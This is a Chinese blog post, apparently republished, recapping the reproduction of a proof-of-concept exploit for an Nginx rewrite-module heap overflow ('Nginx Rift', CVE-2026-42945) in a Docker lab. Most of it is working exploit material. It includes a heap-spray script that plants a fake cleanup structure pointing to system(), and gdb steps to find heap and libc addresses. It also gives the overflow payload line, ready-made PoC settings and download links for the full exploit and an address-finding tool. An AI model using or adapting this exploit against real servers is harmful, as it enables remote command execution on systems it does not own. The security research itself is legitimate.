(回头看)Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记
原创
MicroPest
MicroPest
MicroPest
2026年7月5日 12:03
安徽
在小说阅读器读本章
去阅读
昨天,我们完成了《Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记》,今天我们再复盘回头捋一捋。分为两个部分,一部分是手工找地下,二部分是程序自动找地址。
总结:
poc.py 是一个经典的 堆溢出 + 堆风水 + 控制流劫持 利用脚本:
- 用大量 POST body 在堆上\"塑造\"内存布局
- 用畸形 URI 触发
ngx_http_rewrite_module的长度/复制不一致漏洞 - 溢出覆盖
ngx_pool_t.cleanup指针 - 将 cleanup 指针指向 spray body 中伪造的 cleanup 结构
- pool 销毁时调用
system()执行任意命令
其核心巧妙之处在于:利用 + 字符在 URI args 上下文中的 3 倍扩展特性,制造精确的堆溢出。
最核心的一句话:找地址。
一、目标
需要找到三个关键地址:
- spray body 中 fake\_struct 的地址
→ 修改 HEAP_BASE
2. 真正的 system() 地址
→ 修改 LIBC_BASE 或 SYSTEM_ADDR
3. 确认地址通过 URI 安全过滤
→ 确保能作为 target_bytes
第一步:准备环境
确保容器在运行:
docker compose -f env/docker-compose.yml up
进入容器:
docker exec -it
容器内安装 gdb(如果还没装):
apt-get update && apt-get install -y gdb
第二步:找到 nginx worker PID
在容器内:
ps aux | grep \"nginx: worker\"
输出示例:
nobody 983 0.0 0.1 ... nginx: worker process
记下 PID,比如 983。
【第一部 手工查找地址】
第三步:发送 spray 并保持连接
在 Kali 终端(不是容器内)运行:
python3 << 'EOF'
import socket
import time
s = socket.create\_connection(('127.0.0.1', 19321), timeout=5)
和 poc.py 一样的 body 构造
BODY\_LEN = 4000
cmd = b'touch /tmp/rift\_pwned'
fake\_struct: SYSTEM\_ADDR + data\_addr(占位) + next(0)
SYSTEM\_ADDR = 0x7ffff780ad70 # 先用 poc.py 里的值
fake\_struct = SYSTEM\_ADDR.to\_bytes(8, 'little') + b'\x00' \* 16
cmd\_bytes = cmd + b'\x00'
body = fake\_struct + cmd\_bytes + b'A' \* (BODY\_LEN - len(fake\_struct) - len(cmd\_bytes))
req = (
b'POST /spray HTTP/1.1\r\
'
b'Host: l\r\
'
b'Content-Length: ' + str(BODY\_LEN).encode() + b'\r\
'
b'X-Delay: 60\r\
'
b'Connection: close\r\
'
b'\r\
'
+ body
)
s.sendall(req)
print(f'[\*] Spray sent, PID of this script does not matter')
print(f'[\*] Holding connection open for 60 seconds...')
time.sleep(60)
EOF
这个终端会卡住 60 秒,不要关闭。
第四步:搜索命令字符串位置
在 容器内 执行,找到 spray body 中的 touch 字符串:
gdb -p
输出示例:
0x5555556b347f0x5555556b9ebf0x55555571219f0x555555716faf0x55555571bdbf0x555555720bcf0x5555557259df0x55555572a7ef
这些就是 touch 字符串的位置。
第五步:计算 fake\_struct 地址
cmd 字符串在 fake\_struct 后面 24 字节处:
fake\_struct\_addr = cmd\_addr - 24
比如第一个结果 0x5555556b347f:
python3 -c \"print(hex(0x5555556b347f - 24))\"# 0x5555556b3467
所以候选 fake\_struct 地址:
0x5555556b34670x5555556b9ea70x555555712197- ...
第六步:验证 fake\_struct 内容
在容器内查看 0x5555556b3467:
gdb -p
输出:
0x5555556b3467: 0x00007ffff780ad70 0x0000555555772148
0x5555556b3477: 0x0000000000000000 0x742f206863756f74
0x5555556b3487: 0x5f746669722f706d 0x41410064656e7770
0x5555556b3497: 0x4141414141414141 0x4141414141414141
0x5555556b347f: \"touch /tmp/rift_pwned\"
确认:
- 第一个 8 字节是
SYSTEM_ADDR(当前 poc.py 的值) - 后面是命令字符串
- 再后面是
0x41填充
第七步:检查地址是否 URI 安全
target_bytes 是 fake\_struct 地址的 6 字节小端表示,必须每个字节都能出现在 URI 中。
检查 0x5555556b3467:
python3 -c \"
addr = 0x5555556b3467
for i in range(6):
b = (addr >> (i*8)) & 0xff
print(f'byte {i}: 0x{b:02x} = {b}')\"
输出:
byte 0: 0x67 = 103 ← 'g'
byte 1: 0x34 = 52 ← '4'
byte 2: 0x6b = 107 ← 'k'
byte 3: 0x55 = 85 ← 'U'
byte 4: 0x55 = 85 ← 'U'
byte 5: 0x55 = 85 ← 'U'
这些字节都是可打印 ASCII,能通过 addr_is_safe 过滤 ✅
第八步:找到真正的 system() 地址
在容器内:
gdb -p
输出示例:
$1 = {
$2 = 0x7ffff7808d70
所以真正的 system() 地址是 0x7ffff7808d70。
第九步:修正 LIBC\_BASE
PoC 中:
SYSTEM\_ADDR = LIBC\_BASE + 0x50d70
所以:
LIBC\_BASE = 0x7ffff7808d70 - 0x50d70 = 0x7ffff77b8000
第十步:修改 poc.py
1. fake\_struct 地址
HEAP_BASE = 0x5555556b3467
PREREAD_HEAP_OFFSETS = [0] # 2. 正确的 libc 基址
LIBC_BASE = 0x7ffff77b8000
SYSTEM_ADDR = LIBC_BASE + 0x50d70# = 0x7ffff7808d70 # 3. 恢复填充
payload = \"A\" * 349 + \"+\" * 969 + target_bytes.decode(\"latin-1\")
第十一步:验证
python3 poc.py --cmd 'touch /tmp/rift\_pwned'
docker exec <container> ls -la /tmp/rift_pwned
成功:
-rw-r--r-- 1 nobody nogroup 0 Jul 4 11:18 /tmp/rift\_pwned
二、关键要点总结
| 要找的地址 | 方法 | 命令 |
|---|---|---|
| fake\_struct | cmd 字符串地址 - 24 | gdb find /b ... 0x74,0x6f,0x75,0x63,0x68 |
| system() | gdb 直接打印 | gdb -p <pid> -ex \"p/x (void*)system\" |
| 安全性 | 检查 6 字节是否可打印 | python3 逐字节打印 |
最核心的技巧:保持 spray 连接打开,然后用 gdb 搜索内存中的命令字符串,反推出 fake\_struct 位置。
附上昨天针对github上自带的docker镜像中Ubuntu22.04调试成功的poc:
通过网盘分享的文件:poc-kali.py
链接: https://pan.baidu.com/s/10420aPCz-b4KjH4AdFrCjg?pwd=x5jx
提取码: x5jx
【第二部 程序查找地址】
三、保持 spray 连接keep\_spray.py
相当于【第一部】中的第三步。
cat > /tmp/keep\_spray.py << 'PYEOF'
import socket
import time
s = socket.create\_connection(('127.0.0.1', 19321), timeout=5)
BODY\_LEN = 4000
cmd = b'touch /tmp/rift\_pwned'
SYSTEM\_ADDR = 0x7ffff780ad70
fake\_struct = SYSTEM\_ADDR.to\_bytes(8, 'little') + b'\x00' \* 16
cmd\_bytes = cmd + b'\x00'
body = fake\_struct + cmd\_bytes + b'A' \* (BODY\_LEN - len(fake\_struct) - len(cmd\_bytes))
req = (
b'POST /spray HTTP/1.1\r\
'
b'Host: l\r\
'
b'Content-Length: ' + str(BODY\_LEN).encode() + b'\r\
'
b'X-Delay: 60\r\
'
b'Connection: close\r\
'
b'\r\
'
+ body
)
s.sendall(req)
print('[\*] Spray sent, holding 60s...')
time.sleep(60)
PYEOF
四、自动找地址的find\_spray\_v3.py程序
两个地址的来源不同:
HEAP_BASE
→ 在 nginx 进程的堆/data 段,需要发送 spray 后搜索
* LIBC_BASE
/ SYSTEM_ADDR → 在 libc 中,worker 一启动就固定,不需要 spray
直接给你一个脚本,它会:
- 发送 spray 并保持连接
- 搜索命令字符串
\"touch\"(比 SYSTEM\_ADDR 更稳定) - 自动计算 fake\_struct 地址
- 验证地址是否 URI 安全
- 输出可直接复制到
poc.py的配置
通过网盘分享的文件:find\_spray\_v3.py
链接: https://pan.baidu.com/s/1NofGT5Uywzbb\_yGW1mRU\_Q?pwd=p34p
提取码: p34p
四、如何使用这两个程序
在容器内运行:python3 /tmp/keep\_spray.py
在kali、容器外运行:python3 find\_spray\_v3.py
输出已经给出了正确的配置:
HEAP\_BASE = 0x5555556b3467
PREREAD\_HEAP\_OFFSETS = [0x000000]
LIBC\_BASE = 0x7ffff77b8000
SYSTEM\_ADDR = LIBC\_BASE + 0x50d70 # = 0x7ffff7808d70
五、修改 poc.py 并验证
1、找到对应部分,替换成:
HEAP\_BASE = 0x5555556b3467PREREAD\_HEAP\_OFFSETS = [0x000000,]LIBC\_BASE = 0x7ffff77b8000SYSTEM\_ADDR = LIBC\_BASE + 0x50d70
同时确认填充长度是:payload = \"A\" \ 349 + \"+\" \ 969 + target\_bytes.decode(\"latin-1\")
2. 运行 PoC:python3 poc.py --cmd 'touch /tmp/rift\_pwned'
3. 验证:docker exec docker-CONTAINER ID ls -la /tmp/rift\_pwned
应该看到:-rw-r--r-- 1 nobody nogroup 0 Jul 5 11:27 /tmp/rift\_pwned
这个完整版 find_spray_v3.py 同时解决两个问题:
| 地址 | 查找方式 |
|---|---|
HEAP_BASE |
发送 spray → gdb 搜索 cmd 字符串 → 反推 fake\_struct |
LIBC_BASE / SYSTEM_ADDR |
gdb 直接打印 system() → readelf 获取偏移 → 计算 libc 基址 |
运行一次,直接输出所有需要修改的 poc.py 配置。
好了,经过复盘回头看,我们更加地理清了思路,对堆溢出的分析有了更加直观地认识。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论